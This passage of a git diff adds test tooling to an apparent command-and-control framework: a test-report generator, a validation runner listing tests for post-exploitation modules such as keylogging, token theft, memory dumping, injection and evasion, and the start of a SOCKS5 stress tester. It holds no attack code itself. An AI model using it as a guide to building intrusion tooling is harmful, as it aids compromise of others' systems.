session = 1; + string name = 2; + string state = 3; + string command_id = 4; + string artifact = 5; + string updated_at = 6; + int32 load_count = 7; +} + + message CommandAck { Status status = 1; diff --git a/scripts/generate-test-state.py b/scripts/generate-test-state.py new file mode 100644 index 0000000..a51a2c1 --- /dev/null +++ b/scripts/generate-test-state.py @@ -0,0 +1,327 @@ +#!/usr/bin/env python3 +"""Generate validation state documents from the test catalog and result files.""" + +from __future__ import annotations + +import argparse +import json +import sys +from collections import Counter, defaultdict +from pathlib import Path +from typing import Any + +try: + import yaml +except ImportError as exc: # pragma: no cover - developer setup failure + raise SystemExit("PyYAML is required: python3 -m pip install pyyaml") from exc + + +VALID_RESULT_STATUSES = {"pass", "fail", "blocked", "untested"} +VALIDATION_MODES = {"auto", "manual", "auto+manual", "planned"} +PRIORITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3} +FINAL_ORDER = {"fail": 0, "blocked": 1, "partial": 2, "untested": 3, "planned": 4, "pass": 5} + + +def load_yaml(path: Path, fallback: dict[str, Any] | None = None) -> dict[str, Any]: + if not path.exists(): + return fallback or {} + with path.open("r", encoding="utf-8") as handle: + data = yaml.safe_load(handle) or {} + if not isinstance(data, dict): + raise ValueError(f"{path} must contain a YAML mapping") + return data + + +def load_auto_results(path: Path) -> list[dict[str, Any]]: + if not path.exists(): + return [] + with path.open("r", encoding="utf-8") as handle: + data = json.load(handle) + if isinstance(data, dict): + results = data.get("results", []) + else: + results = data + if not isinstance(results, list): + raise ValueError(f"{path} must contain a JSON list or an object with a results list") + return results + + +def normalize_status(value: Any) -> str: + status = str(value or "untested").strip().lower() + if status not in VALID_RESULT_STATUSES: + raise ValueError(f"invalid result status: {status}") + return status + + +def index_results( + results: list[dict[str, Any]], + source_name: str, + catalog_ids: set[str], +) -> dict[str, dict[str, Any]]: + indexed: dict[str, dict[str, Any]] = {} + for result in results: + if not isinstance(result, dict): + raise ValueError(f"{source_name} contains a non-object result") + result_id = str(result.get("id", "")).strip() + if not result_id: + raise ValueError(f"{source_name} contains a result without id") + if result_id not in catalog_ids: + raise ValueError(f"{source_name} references unknown catalog id: {result_id}") + if result_id in indexed: + raise ValueError(f"{source_name} contains duplicate result id: {result_id}") + normalized = dict(result) + normalized["status"] = normalize_status(result.get("status")) + indexed[result_id] = normalized + return indexed + + +def required_channels(validation: str) -> list[str]: + if validation == "auto": + return ["auto"] + if validation == "manual": + return ["manual"] + if validation == "auto+manual": + return ["auto", "manual"] + return [] + + +def final_status(validation: str, auto_status: str, manual_status: str) -> str: + if validation == "planned": + return "planned" + + statuses = [auto_status if channel == "auto" else manual_status for channel in required_channels(validation)] + if not statuses: + return "untested" + if any(status == "fail" for status in statuses): + return "fail" + if any(status == "blocked" for status in statuses): + return "blocked" + if all(status == "pass" for status in statuses): + return "pass" + if any(status == "pass" for status in statuses): + return "partial" + return "untested" + + +def result_summary(result: dict[str, Any] | None) -> str: + if not result: + return "" + parts = [] + for key in ("source", "evidence", "date", "build", "tester", "notes"): + value = result.get(key) + if value: + parts.append(f"{key}: {value}") + return "; ".join(parts) + + +def markdown_escape(value: Any) -> str: + text = str(value if value is not None else "") + return text.replace("|", "\\|").replace("\n", "
") + + +def priority_key(entry: dict[str, Any]) -> tuple[int, str, str]: + return ( + PRIORITY_ORDER.get(str(entry.get("priority", "")).lower(), 99), + str(entry.get("area", "")), + str(entry.get("id", "")), + ) + + +def state_key(row: dict[str, Any]) -> tuple[int, int, str, str]: + return ( + FINAL_ORDER.get(row["final"], 99), + PRIORITY_ORDER.get(row["priority"], 99), + row["area"], + row["id"], + ) + + +def build_rows( + catalog: dict[str, Any], + auto_results: dict[str, dict[str, Any]], + manual_results: dict[str, dict[str, Any]], +) -> list[dict[str, Any]]: + entries = catalog.get("entries", []) + if not isinstance(entries, list): + raise ValueError("catalog entries must be a list") + + rows: list[dict[str, Any]] = [] + for entry in sorted(entries, key=priority_key): + validation = str(entry.get("validation", "planned")).strip() + if validation not in VALIDATION_MODES: + raise ValueError(f"{entry.get('id')} has invalid validation mode: {validation}") + + entry_id = str(entry.get("id", "")).strip() + auto_result = auto_results.get(entry_id) + manual_result = manual_results.get(entry_id) + auto_status = normalize_status(auto_result.get("status") if auto_result else "untested") + manual_status = normalize_status(manual_result.get("status") if manual_result else "untested") + + rows.append( + { + "id": entry_id, + "area": str(entry.get("area", "")), + "feature": str(entry.get("feature", "")), + "scenario": str(entry.get("scenario", "")), + "priority": str(entry.get("priority", "")), + "validation": validation, + "auto": auto_status if "auto" in required_channels(validation) else "n/a", + "manual": manual_status if "manual" in required_channels(validation) else "n/a", + "final": final_status(validation, auto_status, manual_status), + "auto_detail": result_summary(auto_result), + "manual_detail": result_summary(manual_result), + "axes": entry.get("axes", {}), + } + ) + return rows + + +def write_state(path: Path, rows: list[dict[str, Any]], auto_path: Path, manual_path: Path) -> None: + counts = Counter(row["final"] for row in rows) + validation_counts = Counter(row["validation"] for row in rows) + area_counts: dict[str, Counter[str]] = defaultdict(Counter) + for row in rows: + area_counts[row["area"]][row["final"]] += 1 + + lines = [ + "# Test State", + "", + "_Generated by `scripts/generate-test-state.py`._", + "", + f"- Catalog entries: `{len(rows)}`", + f"- Auto results: `{auto_path}`", + f"- Manual results: `{manual_path}`", + "", + "## Final Status", + "", + "| Status | Count |", + "|---|---:|", + ] + for status in ("pass", "fail", "blocked", "partial", "untested", "planned"): + lines.append(f"| {status} | {counts.get(status, 0)} |") + + lines.extend(["", "## Validation Modes", "", "| Mode | Count |", "|---|---:|"]) + for mode in ("auto", "manual", "auto+manual", "planned"): + lines.append(f"| {mode} | {validation_counts.get(mode, 0)} |") + + lines.extend(["", "## By Area", "", "| Area | Pass | Fail | Blocked | Partial | Untested | Planned | Total |", "|---|---:|---:|---:|---:|---:|---:|---:|"]) + for area in sorted(area_counts): + counter = area_counts[area] + total = sum(counter.values()) + lines.append( + f"| {markdown_escape(area)} | {counter.get('pass', 0)} | {counter.get('fail', 0)} | " + f"{counter.get('blocked', 0)} | {counter.get('partial', 0)} | " + f"{counter.get('untested', 0)} | {counter.get('planned', 0)} | {total} |" + ) + + lines.extend( + [ + "", + "## Critical Non-Pass", + "", + "| Final | ID | Area | Feature | Auto | Manual |", + "|---|---|---|---|---|---|", + ] + ) + critical_rows = [ + row for row in rows if row["priority"] == "critical" and row["final"] != "pass" + ] + for row in sorted(critical_rows, key=state_key): + lines.append( + f"| {row['final']} | `{row['id']}` | {markdown_escape(row['area'])} | " + f"{markdown_escape(row['feature'])} | {row['auto']} | {row['manual']} |" + ) + if not critical_rows: + lines.append("| pass | _none_ | | | | |") + + path.write_text("\n".join(lines) + "\n", encoding="utf-8") + + +def write_gaps(path: Path, rows: list[dict[str, Any]]) -> None: + gaps = [row for row in rows if row["final"] != "pass"] + lines = [ + "# Test Gaps", + "", + "_Generated by `scripts/generate-test-state.py`._", + "", + "| Final | Priority | ID | Area | Feature | Scenario | Auto | Manual |", + "|---|---|---|---|---|---|---|---|", + ] + for row in sorted(gaps, key=state_key): + lines.append( + f"| {row['final']} | {row['priority']} | `{row['id']}` | {markdown_escape(row['area'])} | " + f"{markdown_escape(row['feature'])} | {markdown_escape(row['scenario'])} | " + f"{row['auto']} | {row['manual']} |" + ) + if not gaps: + lines.append("| pass | | _none_ | | | | | |") + path.write_text("\n".join(lines) + "\n", encoding="utf-8") + + +def write_matrix(path: Path, rows: list[dict[str, Any]]) -> None: + lines = [ + "# Test Matrix", + "", + "_Generated by `scripts/generate-test-state.py`._", + "", + "| Final | Validation | Priority | ID | Area | Feature | OS | Arch | Listener | Artifact | Auto | Manual |", + "|---|---|---|---|---|---|---|---|---|---|---|---|", + ] + for row in sorted(rows, key=lambda item: (item["area"], item["feature"], item["id"])): + axes = row.get("axes") if isinstance(row.get("axes"), dict) else {} + lines.append( + f"| {row['final']} | {row['validation']} | {row['priority']} | `{row['id']}` | " + f"{markdown_escape(row['area'])} | {markdown_escape(row['feature'])} | " + f"{markdown_escape(axes.get('os', ''))} | {markdown_escape(axes.get('arch', ''))} | " + f"{markdown_escape(axes.get('listener', ''))} | {markdown_escape(axes.get('artifact_category', ''))} | " + f"{row['auto']} | {row['manual']} |" + ) + path.write_text("\n".join(lines) + "\n", encoding="utf-8") + + +def parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--catalog", type=Path, default=Path("docs/testing/test-catalog.yaml")) + parser.add_argument("--manual", type=Path, default=Path("docs/testing/manual-results.yaml")) + parser.add_argument("--auto", type=Path, default=Path("build/test-results/auto-results.json")) + parser.add_argument("--output-dir", type=Path, default=Path("docs")) + return parser.parse_args() + + +def main() -> int: + args = parse_args() + catalog = load_yaml(args.catalog) + entries = catalog.get("entries", []) + if not isinstance(entries, list): + raise ValueError("catalog entries must be a list") + + catalog_ids = {str(entry.get("id", "")).strip() for entry in entries} + if "" in catalog_ids: + raise ValueError("catalog contains an entry without id") + if len(catalog_ids) != len(entries): + raise ValueError("catalog contains duplicate ids") + + manual_file = load_yaml(args.manual, {"results": []}) + manual_results = index_results(manual_file.get("results", []), str(args.manual), catalog_ids) + auto_results = index_results(load_auto_results(args.auto), str(args.auto), catalog_ids) + + rows = build_rows(catalog, auto_results, manual_results) + args.output_dir.mkdir(parents=True, exist_ok=True) + write_state(args.output_dir / "TEST_STATE.md", rows, args.auto, args.manual) + write_gaps(args.output_dir / "TEST_GAPS.md", rows) + write_matrix(args.output_dir / "TEST_MATRIX.md", rows) + + counts = Counter(row["final"] for row in rows) + print( + "Generated test state: " + + ", ".join(f"{status}={counts.get(status, 0)}" for status in ("pass", "fail", "blocked", "partial", "untested", "planned")) + ) + return 0 + + +if __name__ == "__main__": + try: + raise SystemExit(main()) + except Exception as exc: + print(f"error: {exc}", file=sys.stderr) + raise SystemExit(1) diff --git a/scripts/run-validation-suite.sh b/scripts/run-validation-suite.sh new file mode 100644 index 0000000..65d1cf3 --- /dev/null +++ b/scripts/run-validation-suite.sh @@ -0,0 +1,326 @@ +#!/usr/bin/env bash +set -u + +REPO_ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +BUILD_DIR="${BUILD_DIR:-$REPO_ROOT/build}" +RESULT_DIR="${RESULT_DIR:-$BUILD_DIR/test-results}" +LOG_DIR="$RESULT_DIR/logs" +RESULTS_TSV="$RESULT_DIR/auto-results.tsv" +AUTO_RESULTS="$RESULT_DIR/auto-results.json" +RUN_BUILD=1 + +usage() { + cat <<'EOF' +Usage: scripts/run-validation-suite.sh [--skip-build] + +Runs the conservative automated validation suite and writes: + build/test-results/auto-results.json + build/test-results/logs/*.log + +Environment overrides: + BUILD_DIR=/path/to/build + RESULT_DIR=/path/to/results + PYTHON_BIN=/path/to/python +EOF +} + +while [[ $# -gt 0 ]]; do + case "$1" in + --skip-build) + RUN_BUILD=0 + shift + ;; + -h|--help) + usage + exit 0 + ;; + *) + echo "Unknown option: $1" >&2 + usage >&2 + exit 2 + ;; + esac +done + +if [[ -n "${PYTHON_BIN:-}" ]]; then + PYTHON="$PYTHON_BIN" +elif [[ -x "$REPO_ROOT/C2Client/.venv/bin/python" ]]; then + PYTHON="$REPO_ROOT/C2Client/.venv/bin/python" +else + PYTHON="python3" +fi +AGGREGATOR_PYTHON="${AGGREGATOR_PYTHON:-python3}" + +export QT_QPA_PLATFORM="${QT_QPA_PLATFORM:-offscreen}" + +mkdir -p "$RESULT_DIR" "$LOG_DIR" +: > "$RESULTS_TSV" + +BUILD_TARGETS=( + testsTestServer + testsTeamServerHelpService + testsTeamServerCommandPreparationService + testsTeamServerListenerArtifactService + testsTeamServerArtifactCatalog + testsTeamServerCommandCatalog + testsTeamServerSocksService + TestsSocksServer + testsTeamServerTermLocalService + testsTeamServerListenerSessionService + testsTeamServerHttpListenerTransport + testsModuleCmd + testsTools + testsAssemblyExec + testsCat + testsChangeDirectory + testsChisel + testsCimExec + testsCoffLoader + testsDcomExec + testsDotnetExec + testsDownload + testsEnumerateRdpSessions + testsEnumerateShares + testsEvasion + testsGetEnv + testsInject + testsIpConfig + testsKerberosUseTicket + testsKeyLogger + testsKillProcess + testsListDirectory + testsListProcesses + testsMakeToken + testsMiniDump + testsMkDir + testsNetstat + testsPowershell + testsPrintWorkingDirectory + testsPsExec + testsPwSh + testsRegistry + testsRemove + testsRev2self + testsReversePortForward + testsRun + testsScreenShot + testsScript + testsShell + testsSpawnAs + testsSshExec + testsStealToken + testsTaskScheduler + testsTree + testsUpload + testsWhoami + testsWinRM + testsWmiExec +) + +BUILD_STATUS=0 +if [[ "$RUN_BUILD" -eq 1 ]]; then + echo "[build] ${BUILD_TARGETS[*]}" + if cmake --build "$BUILD_DIR" --target "${BUILD_TARGETS[@]}" --parallel 2 > "$LOG_DIR/build.log" 2>&1; then + echo "[build] ok" + else + BUILD_STATUS=$? + echo "[build] failed, see $LOG_DIR/build.log" + fi +fi + +safe_name() { + local value="$1" + value="${value//[^A-Za-z0-9_.-]/_}" + printf '%s' "$value" +} + +record_result() { + local ids="$1" + local status="$2" + local source="$3" + local log_file="$4" + local detail="$5" + local id + for id in $ids; do + printf '%s\t%s\t%s\t%s\t%s\n' "$id" "$status" "$source" "$log_file" "$detail" >> "$RESULTS_TSV" + done +} + +run_case() { + local ids="$1" + local source="$2" + shift 2 + local log_file="$LOG_DIR/$(safe_name "$source").log" + local status="pass" + local detail="" + + echo "[run] $source" + if [[ "$BUILD_STATUS" -ne 0 && "${1:-}" == "$BUILD_DIR"/* ]]; then + status="fail" + detail="build failed before execution" + printf '%s\n' "$detail" > "$log_file" + elif [[ ! -x "${1:-}" && "${1:-}" == "$BUILD_DIR"/* ]]; then + status="blocked" + detail="executable not found" + printf '%s: %s\n' "$detail" "${1:-}" > "$log_file" + else + "$@" > "$log_file" 2>&1 + local code=$? + if [[ "$code" -eq 0 ]]; then + status="pass" + detail="exit code 0" + elif [[ "$code" -eq 77 ]]; then + status="blocked" + detail="exit code 77" + else + status="fail" + detail="exit code $code" + fi + fi + + record_result "$ids" "$status" "$source" "$log_file" "$detail" + echo "[${status}] $source" +} + +cpp_test() { + local ids="$1" + local name="$2" + run_case "$ids" "$name" "$BUILD_DIR/tests/bin/$name" +} + +pytest_case() { + local ids="$1" + local source="$2" + shift 2 + run_case "$ids" "$source" "$PYTHON" -m pytest -s -q "$@" +} + +cpp_test "TEAMSERVER-STARTUP-TLS-001" "testsTestServer" +cpp_test "TEAMSERVER-COMMAND-CATALOG-001 COMMON-HELP-001 C2CLIENT-CONSOLE-HELP-001" "testsTeamServerHelpService" +cpp_test "TEAMSERVER-COMMAND-PREPARATION-001 TEAMSERVER-FILE-TRANSFER-001 TEAMSERVER-GENERATED-ARTIFACTS-001 ARTIFACT-TOOLS-001 ARTIFACT-SCRIPTS-001 ARTIFACT-UPLOADED-001 MODULE-ASSEMBLYEXEC-CONTRACT-001 MODULE-INJECT-CONTRACT-001 MODULE-DOWNLOAD-CONTRACT-001 MODULE-UPLOAD-CONTRACT-001 MODULE-MINIDUMP-CONTRACT-001 MODULE-SCREENSHOT-CONTRACT-001 MODULE-POWERSHELL-CONTRACT-001 MODULE-PWSH-CONTRACT-001 MODULE-SCRIPT-CONTRACT-001 MODULE-CHISEL-CONTRACT-001 MODULE-DOTNETEXEC-CONTRACT-001 MODULE-PSEXEC-CONTRACT-001 MODULE-KERBEROSUSETICKET-CONTRACT-001 MODULE-COFFLOADER-CONTRACT-001" "testsTeamServerCommandPreparationService" +cpp_test "TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001" "testsTeamServerListenerArtifactService" +cpp_test "TEAMSERVER-ARTIFACT-CATALOG-001 TEAMSERVER-GENERATED-ARTIFACTS-001 ARTIFACT-GENERATED-001 ARTIFACT-LAYOUT-001 ARTIFACT-UPLOADED-001 C2CLIENT-ARTIFACTS-LIST-001" "testsTeamServerArtifactCatalog" +cpp_test "TEAMSERVER-COMMAND-CATALOG-001 MODULE-COMMANDSPEC-COVERAGE-001 COMMON-HELP-001" "testsTeamServerCommandCatalog" +cpp_test "TEAMSERVER-SOCKS-SERVICE-001" "testsTeamServerSocksService" +cpp_test "LIBSOCKS5-PROTOCOL-001" "TestsSocksServer" +cpp_test "TEAMSERVER-HOSTED-ARTIFACTS-001 C2CLIENT-TERMINAL-HOST-001" "testsTeamServerTermLocalService" +cpp_test "TEAMSERVER-LISTENER-SESSION-SERVICE-001 TEAMSERVER-FILE-TRANSFER-001 BEACON-CORE-MODULE-LIFECYCLE-001 COMMON-LOADMODULE-001 COMMON-UNLOADMODULE-001 COMMON-LISTMODULE-001 BEACON-CORE-TASK-QUEUE-001" "testsTeamServerListenerSessionService" +cpp_test "LISTENER-HTTPS-001" "testsTeamServerHttpListenerTransport" + +cpp_test "COMMON-HELP-001 COMMON-SLEEP-001 COMMON-END-001 COMMON-LISTENER-001 COMMON-LOADMODULE-001 COMMON-UNLOADMODULE-001 COMMON-LISTMODULE-001 MODULE-COMMANDSPEC-COVERAGE-001 BEACON-CORE-MODULE-LIFECYCLE-001" "testsModuleCmd" +cpp_test "TEAMSERVER-CONFIG-DIRECTORIES-001 ARTIFACT-LAYOUT-001 ARTIFACT-TOOLS-001 ARTIFACT-SCRIPTS-001 ARTIFACT-UPLOADED-001 ARTIFACT-GENERATED-001" "testsTools" + +cpp_test "MODULE-ASSEMBLYEXEC-CONTRACT-001 TEAMSERVER-SHELLCODE-SERVICE-001" "testsAssemblyExec" +cpp_test "MODULE-CAT-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsCat" +cpp_test "MODULE-CD-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsChangeDirectory" +cpp_test "MODULE-CHISEL-CONTRACT-001" "testsChisel" +cpp_test "MODULE-CIMEXEC-CONTRACT-001 MODULE-WINDOWS-EXEC-001" "testsCimExec" +cpp_test "MODULE-COFFLOADER-CONTRACT-001" "testsCoffLoader" +cpp_test "MODULE-DCOMEXEC-CONTRACT-001 MODULE-WINDOWS-EXEC-001" "testsDcomExec" +cpp_test "MODULE-DOTNETEXEC-CONTRACT-001" "testsDotnetExec" +cpp_test "MODULE-DOWNLOAD-CONTRACT-001 BEACON-CORE-CHUNKED-RESULTS-001 MODULE-SIMPLE-FILESYSTEM-001" "testsDownload" +cpp_test "MODULE-ENUMERATERDPSESSIONS-CONTRACT-001 MODULE-WINDOWS-ADMIN-001" "testsEnumerateRdpSessions" +cpp_test "MODULE-ENUMERATESHARES-CONTRACT-001 MODULE-WINDOWS-ADMIN-001" "testsEnumerateShares" +cpp_test "MODULE-EVASION-CONTRACT-001 MODULE-WINDOWS-ADMIN-001" "testsEvasion" +cpp_test "MODULE-GETENV-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsGetEnv" +cpp_test "MODULE-INJECT-CONTRACT-001 TEAMSERVER-SHELLCODE-SERVICE-001" "testsInject" +cpp_test "MODULE-IPCONFIG-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsIpConfig" +cpp_test "MODULE-KERBEROSUSETICKET-CONTRACT-001" "testsKerberosUseTicket" +cpp_test "MODULE-KEYLOGGER-CONTRACT-001" "testsKeyLogger" +cpp_test "MODULE-KILLPROCESS-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsKillProcess" +cpp_test "MODULE-LS-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsListDirectory" +cpp_test "MODULE-PS-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsListProcesses" +cpp_test "MODULE-MAKETOKEN-CONTRACT-001 MODULE-WINDOWS-PRIVILEGE-001" "testsMakeToken" +cpp_test "MODULE-MINIDUMP-CONTRACT-001 BEACON-CORE-CHUNKED-RESULTS-001" "testsMiniDump" +cpp_test "MODULE-MKDIR-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsMkDir" +cpp_test "MODULE-NETSTAT-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsNetstat" +cpp_test "MODULE-POWERSHELL-CONTRACT-001 ARTIFACT-SCRIPTS-001" "testsPowershell" +cpp_test "MODULE-PWD-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsPrintWorkingDirectory" +cpp_test "MODULE-PSEXEC-CONTRACT-001" "testsPsExec" +cpp_test "MODULE-PWSH-CONTRACT-001 ARTIFACT-TOOLS-001" "testsPwSh" +cpp_test "MODULE-REGISTRY-CONTRACT-001 MODULE-WINDOWS-ADMIN-001" "testsRegistry" +cpp_test "MODULE-REMOVE-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsRemove" +cpp_test "MODULE-REV2SELF-CONTRACT-001 MODULE-WINDOWS-PRIVILEGE-001" "testsRev2self" +cpp_test "MODULE-REVERSEPORTFORWARD-CONTRACT-001" "testsReversePortForward" +cpp_test "MODULE-RUN-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsRun" +cpp_test "MODULE-SCREENSHOT-CONTRACT-001 BEACON-CORE-CHUNKED-RESULTS-001" "testsScreenShot" +cpp_test "MODULE-SCRIPT-CONTRACT-001 ARTIFACT-SCRIPTS-001" "testsScript" +cpp_test "MODULE-SHELL-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsShell" +cpp_test "MODULE-SPAWNAS-CONTRACT-001 MODULE-WINDOWS-PRIVILEGE-001" "testsSpawnAs" +cpp_test "MODULE-SSHEXEC-CONTRACT-001 MODULE-WINDOWS-EXEC-001" "testsSshExec" +cpp_test "MODULE-STEALTOKEN-CONTRACT-001 MODULE-WINDOWS-PRIVILEGE-001" "testsStealToken" +cpp_test "MODULE-TASKSCHEDULER-CONTRACT-001 MODULE-WINDOWS-ADMIN-001" "testsTaskScheduler" +cpp_test "MODULE-TREE-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsTree" +cpp_test "MODULE-UPLOAD-CONTRACT-001 MODULE-SIMPLE-FILESYSTEM-001" "testsUpload" +cpp_test "MODULE-WHOAMI-CONTRACT-001 MODULE-SIMPLE-SYSTEM-001" "testsWhoami" +cpp_test "MODULE-WINRM-CONTRACT-001 MODULE-WINDOWS-EXEC-001" "testsWinRM" +cpp_test "MODULE-WMIEXEC-CONTRACT-001 MODULE-WINDOWS-EXEC-001" "testsWmiExec" + +pytest_case "C2CLIENT-CONFIG-ENV-001 C2CLIENT-CONFIG-CERT-001" "pytest:test_env_loading.py" "$REPO_ROOT/C2Client/tests/test_env_loading.py" +pytest_case "C2CLIENT-RPC-BINDINGS-001" "pytest:test_protocol_bindings.py" "$REPO_ROOT/C2Client/tests/test_protocol_bindings.py" +pytest_case "C2CLIENT-RPC-BINDINGS-001 C2CLIENT-CONFIG-CERT-001" "pytest:test_grpc_client.py" "$REPO_ROOT/C2Client/tests/test_grpc_client.py" +pytest_case "C2CLIENT-STARTUP-GUI-001" "pytest:test_gui_startup.py" "$REPO_ROOT/C2Client/tests/test_gui_startup.py" +pytest_case "C2CLIENT-SESSION-PANEL-001 BEACON-CORE-HEARTBEAT-001 BEACON-CORE-REGISTER-001" "pytest:test_session_panel.py" "$REPO_ROOT/C2Client/tests/test_session_panel.py" +pytest_case "C2CLIENT-LISTENER-PANEL-001 VALIDATION-ERROR-HANDLING-001" "pytest:test_listener_panel.py" "$REPO_ROOT/C2Client/tests/test_listener_panel.py" +pytest_case "C2CLIENT-GRAPH-PANEL-001" "pytest:test_graph_panel.py" "$REPO_ROOT/C2Client/tests/test_graph_panel.py" +pytest_case "C2CLIENT-CONSOLE-FORMATTING-001 C2CLIENT-CONSOLE-AUTOCOMPLETE-001 C2CLIENT-CONSOLE-HELP-001 VALIDATION-ERROR-HANDLING-001 COMMON-LOADMODULE-001 COMMON-UNLOADMODULE-001 COMMON-LISTMODULE-001 MODULE-ASSEMBLYEXEC-CONTRACT-001 MODULE-INJECT-CONTRACT-001 MODULE-DOTNETEXEC-CONTRACT-001" "pytest:test_console_panel.py" "$REPO_ROOT/C2Client/tests/test_console_panel.py" +pytest_case "C2CLIENT-TERMINAL-BASE-001 C2CLIENT-TERMINAL-DROPPER-001 C2CLIENT-TERMINAL-HOST-001" "pytest:test_terminal_panel_dropper_arch.py" "$REPO_ROOT/C2Client/tests/test_terminal_panel_dropper_arch.py" +pytest_case "C2CLIENT-ARTIFACTS-LIST-001 C2CLIENT-ARTIFACTS-UPLOAD-001 C2CLIENT-ARTIFACTS-DOWNLOAD-001 C2CLIENT-ARTIFACTS-DELETE-001 ARTIFACT-UPLOADED-001 TEAMSERVER-ARTIFACT-CATALOG-001" "pytest:test_artifact_panel.py" "$REPO_ROOT/C2Client/tests/test_artifact_panel.py" +pytest_case "C2CLIENT-HOOKS-PANEL-001" "pytest:test_script_panel.py" "$REPO_ROOT/C2Client/tests/test_script_panel.py" +pytest_case "C2CLIENT-AI-PANEL-001" "pytest:test_assistant_panel.py" "$REPO_ROOT/C2Client/tests/test_assistant_panel.py" +pytest_case "C2CLIENT-MAIN-THEME-001 C2CLIENT-SESSION-PANEL-001" "pytest:test_ui_status.py" "$REPO_ROOT/C2Client/tests/test_ui_status.py" +pytest_case "C2CLIENT-AI-PANEL-001 MODULE-COMMANDSPEC-COVERAGE-001 C2CLIENT-CONSOLE-AUTOCOMPLETE-001" "pytest:assistant_agent" "$REPO_ROOT/C2Client/tests/assistant_agent" + +if ! "$AGGREGATOR_PYTHON" - "$REPO_ROOT/docs/testing/test-catalog.yaml" "$RESULTS_TSV" "$AUTO_RESULTS" <<'PY' +import csv +import json +import sys +from collections import defaultdict +from pathlib import Path + +import yaml + +catalog_path = Path(sys.argv[1]) +tsv_path = Path(sys.argv[2]) +output_path = Path(sys.argv[3]) +catalog = yaml.safe_load(catalog_path.read_text(encoding="utf-8")) +catalog_ids = {entry["id"] for entry in catalog["entries"]} +precedence = {"fail": 0, "blocked": 1, "pass": 2} +grouped = defaultdict(list) + +with tsv_path.open("r", encoding="utf-8", newline="") as handle: + reader = csv.reader(handle, delimiter="\t") + for row in reader: + if not row: + continue + result_id, status, source, log_file, detail = row + if result_id not in catalog_ids: + raise SystemExit(f"unknown catalog id in auto result: {result_id}") + grouped[result_id].append({ + "status": status, + "source": source, + "log_file": log_file, + "detail": detail, + }) + +results = [] +for result_id in sorted(grouped): + records = grouped[result_id] + status = min((record["status"] for record in records), key=lambda item: precedence.get(item, -1)) + results.append({ + "id": result_id, + "status": status, + "source": ", ".join(record["source"] for record in records), + "evidence": "; ".join(f"{record['source']} -> {record['detail']}" for record in records), + "logs": [record["log_file"] for record in records], + }) + +output_path.write_text(json.dumps({"schema_version": 1, "results": results}, indent=2) + "\n", encoding="utf-8") +print(f"Wrote {output_path} with {len(results)} result ids") +PY +then + echo "Failed to aggregate auto validation results." >&2 + exit 1 +fi + +echo "Auto validation results written to $AUTO_RESULTS" diff --git a/scripts/socks5_stress_test.py b/scripts/socks5_stress_test.py new file mode 100644 index 0000000..816d469 --- /dev/null +++ b/scripts/socks5_stress_test.py @@ -0,0 +1,603 @@ +#!/usr/bin/env python3 +"""Concurrent SOCKS5 validation helper for a live TeamServer SOCKS route.""" + +from __future__ import annotations + +import argparse +import concurrent.futures +import dataclasses +import http.server +import select +import socket +import ssl +import statistics +import sys +import threading +import time +import urllib.parse +from collections import Counter +from typing import Iterable + + +DEFAULT_URL = "http://example.com/" + + +@dataclasses.dataclass(frozen=True) +class StressConfig: + proxy_host: str + proxy_port: int + url: str + scheme: str + target_host: str + target_port: int + socks_host: str + path: str + host_header: str + method: str + requests: int + concurrency: int + timeout: float + expect_statuses: frozenset[int] + read_limit: int + progress_every: int + quiet: bool + + +@dataclasses.dataclass(frozen=True) +class RequestResult: + ok: bool + index: int + latency_ms: float + status: int | None = None + bytes_read: int = 0 + error: str = "" + + +def _port(value: str) -> int: + try: + port = int(value) + except ValueError as exc: + raise argparse.ArgumentTypeError("port must be an integer") from exc + if port <= 0 or port > 65535: + raise argparse.ArgumentTypeError("port must be between 1 and 65535") + return port + + +def _positive_int(value: str) -> int: + try: + parsed = int(value) + except ValueError as exc: + raise argparse.ArgumentTypeError("value must be an integer") from exc + if parsed <= 0: + raise argparse.ArgumentTypeError("value must be positive") + return parsed + + +def _positive_float(value: str) -> float: + try: + parsed = float(value) + except ValueError as exc: + raise argparse.ArgumentTypeError("value must be a number") from exc + if parsed <= 0: + raise argparse.ArgumentTypeError("value must be positive") + return parsed + + +def _parse_expected_statuses(values: list[str] | None, no_status_check: bool) -> frozenset[int]: + if no_status_check: + return frozenset() + if not values: + return frozenset({200}) + + statuses: set[int] = set() + for value in values: + for part in value.split(","): + part = part.strip() + if not part: + continue + try: + status = int(part) + except ValueError as exc: + raise argparse.ArgumentTypeError(f"invalid HTTP status: {part}") from exc + if status < 100 or status > 599: + raise argparse.ArgumentTypeError(f"invalid HTTP status: {status}") + statuses.add(status) + return frozenset(statuses) + + +def _parse_url(url: str) -> tuple[str, str, int, str]: + parsed = urllib.parse.urlparse(url) + if parsed.scheme not in {"http", "https"}: + raise argparse.ArgumentTypeError("url scheme must be http or https") + if not parsed.hostname: + raise argparse.ArgumentTypeError("url must include a host") + + port = parsed.port + if port is None: + port = 443 if parsed.scheme == "https" else 80 + + path = parsed.path or "/" + if parsed.query: + path += "?" + parsed.query + return parsed.scheme, parsed.hostname, port, path + + +def _host_header(host: str, port: int, scheme: str) -> str: + default_port = 443 if scheme == "https" else 80 + if ":" in host and not host.startswith("["): + host_text = f"[{host}]" + else: + host_text = host + if port == default_port: + return host_text + return f"{host_text}:{port}" + + +def _recv_exact(sock: socket.socket, size: int, context: str = "") -> bytes: + data = bytearray() + while len(data) < size: + chunk = sock.recv(size - len(data)) + if not chunk: + suffix = f" while reading {context}" if context else "" + raise RuntimeError(f"unexpected EOF{suffix}") + 